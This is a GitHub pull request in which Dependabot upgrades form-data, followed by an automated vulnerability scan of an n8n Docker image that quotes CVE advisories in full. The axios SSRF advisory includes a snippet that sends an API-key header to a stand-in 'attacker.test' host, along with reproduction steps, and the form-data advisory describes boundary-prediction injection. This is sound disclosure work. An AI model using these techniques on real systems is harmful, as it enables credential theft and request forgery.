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@dependabot dependabot bot commented on behalf of github Jul 22, 2025

Bumps the npm_and_yarn group with 1 update in the /workers/main directory: form-data.

Updates form-data from 4.0.2 to 4.0.4

Changelog

Sourced from form-data's changelog.

v4.0.4 - 2025-07-16

Commits

  • [meta] add auto-changelog 811f682
  • [Tests] handle predict-v8-randomness failures in node < 17 and node > 23 1d11a76
  • [Fix] Switch to using crypto random for boundary values 3d17230
  • [Tests] fix linting errors 5e34080
  • [meta] actually ensure the readme backup isn’t published 316c82b
  • [Dev Deps] update @ljharb/eslint-config 58c25d7
  • [meta] fix readme capitalization 2300ca1

v4.0.3 - 2025-06-05

Fixed

Commits

  • [eslint] use a shared config 426ba9a
  • [eslint] fix some spacing issues 2094191
  • [Refactor] use hasown 81ab41b
  • [Fix] validate boundary type in setBoundary() method 8d8e469
  • [Tests] add tests to check the behavior of getBoundary with non-strings 837b8a1
  • [Dev Deps] remove unused deps 870e4e6
  • [meta] remove local commit hooks e6e83cc
  • [Dev Deps] update eslint 4066fd6
  • [meta] fix scripts to use prepublishOnly c4bbb13
Commits
  • 41996f5 v4.0.4
  • 316c82b [meta] actually ensure the readme backup isn’t published
  • 2300ca1 [meta] fix readme capitalization
  • 811f682 [meta] add auto-changelog
  • 5e34080 [Tests] fix linting errors
  • 1d11a76 [Tests] handle predict-v8-randomness failures in node < 17 and node > 23
  • 58c25d7 [Dev Deps] update @ljharb/eslint-config
  • 3d17230 [Fix] Switch to using crypto random for boundary values
  • d8d67dc v4.0.3
  • e6e83cc [meta] remove local commit hooks
  • Additional commits viewable in compare view

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Bumps the npm_and_yarn group with 1 update in the /workers/main directory: [form-data](https://github.com/form-data/form-data).


Updates `form-data` from 4.0.2 to 4.0.4
- [Release notes](https://github.com/form-data/form-data/releases)
- [Changelog](https://github.com/form-data/form-data/blob/master/CHANGELOG.md)
- [Commits](form-data/form-data@v4.0.2...v4.0.4)

---
updated-dependencies:
- dependency-name: form-data
  dependency-version: 4.0.4
  dependency-type: indirect
  dependency-group: npm_and_yarn
...

Signed-off-by: dependabot[bot] <[email protected]>
@dependabot dependabot bot added dependencies Pull requests that update a dependency file javascript Pull requests that update javascript code labels Jul 22, 2025
@dependabot dependabot bot requested a review from killev as a code owner July 22, 2025 08:41
@dependabot dependabot bot added dependencies Pull requests that update a dependency file javascript Pull requests that update javascript code labels Jul 22, 2025
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github-actions bot commented Jul 29, 2025

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:e0b990fdca644a0817e2d71c27ab2acaf83e1e1e4558dd978eb7b71865a7c467
vulnerabilitiescritical: 4 high: 7 medium: 0 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 1
critical: 1 high: 1 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/[email protected]

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.023%
EPSS Percentile4th percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

high : CVE--2025--22874

Affected range>=1.24.0-0
<1.24.4
Fixed version1.24.4
EPSS Score0.012%
EPSS Percentile1st percentile
Description

Calling Verify with a VerifyOptions.KeyUsages that contains ExtKeyUsageAny unintentionally disabledpolicy validation. This only affected certificate chains which contain policy graphs, which are rather uncommon.

critical: 1 high: 0 medium: 0 low: 0 samlify 2.9.0 (npm)

pkg:npm/[email protected]

critical 9.9: CVE--2025--47949 Improper Verification of Cryptographic Signature

Affected range<2.10.0
Fixed version2.10.0
CVSS Score9.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.026%
EPSS Percentile6th percentile
Description

A Signature Wrapping attack has been found in samlify <v2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user.
An attacker would need a signed XML document by the identity provider.

critical: 1 high: 0 medium: 0 low: 0 form-data 4.0.0 (npm)

pkg:npm/[email protected]

critical 9.4: CVE--2025--7783 Use of Insufficiently Random Values

Affected range>=4.0.0
<4.0.4
Fixed version4.0.4
CVSS Score9.4
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.055%
EPSS Percentile17th percentile
Description

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

  1. can observe other values produced by Math.random in the target application, and
  2. can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

  • Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)
  • Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

critical: 1 high: 0 medium: 0 low: 0 form-data 2.5.3 (npm)

pkg:npm/[email protected]

critical 9.4: CVE--2025--7783 Use of Insufficiently Random Values

Affected range<2.5.4
Fixed version2.5.4
CVSS Score9.4
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.055%
EPSS Percentile17th percentile
Description

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

  1. can observe other values produced by Math.random in the target application, and
  2. can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

  • Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)
  • Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.418%
EPSS Percentile61st percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.155%
EPSS Percentile37th percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 1 medium: 0 low: 0 multer 1.4.5-lts.2 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2025--47935 Missing Release of Memory after Effective Lifetime

Affected range<2.0.0
Fixed version2.0.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile3rd percentile
Description

Impact

Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance.

This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.

Patches

Users should upgrade to 2.0.0

Workarounds

None

References

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.026%
EPSS Percentile5th percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 tar-fs 2.1.2 (npm)

pkg:npm/[email protected]

high 8.7: CVE--2025--48387 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range>=2.0.0
<2.1.3
Fixed version2.1.3
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.112%
EPSS Percentile30th percentile
Description

Impact

v3.0.8, v2.1.2, v1.16.4 and below

Patches

Has been patched in 3.0.9, 2.1.3, and 1.16.5

Workarounds

You can use the ignore option to ignore non files/directories.

  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }

Credit

Thank you Caleb Brown from Google Open Source Security Team for reporting this in detail.

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/[email protected]

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score31.580%
EPSS Percentile97th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

@anatolyshipitz anatolyshipitz enabled auto-merge (squash) July 29, 2025 09:49
@anatolyshipitz anatolyshipitz merged commit cca7678 into main Jul 29, 2025
12 checks passed
@anatolyshipitz anatolyshipitz deleted the dependabot/npm_and_yarn/workers/main/npm_and_yarn-e04d5d616f branch July 29, 2025 11:37
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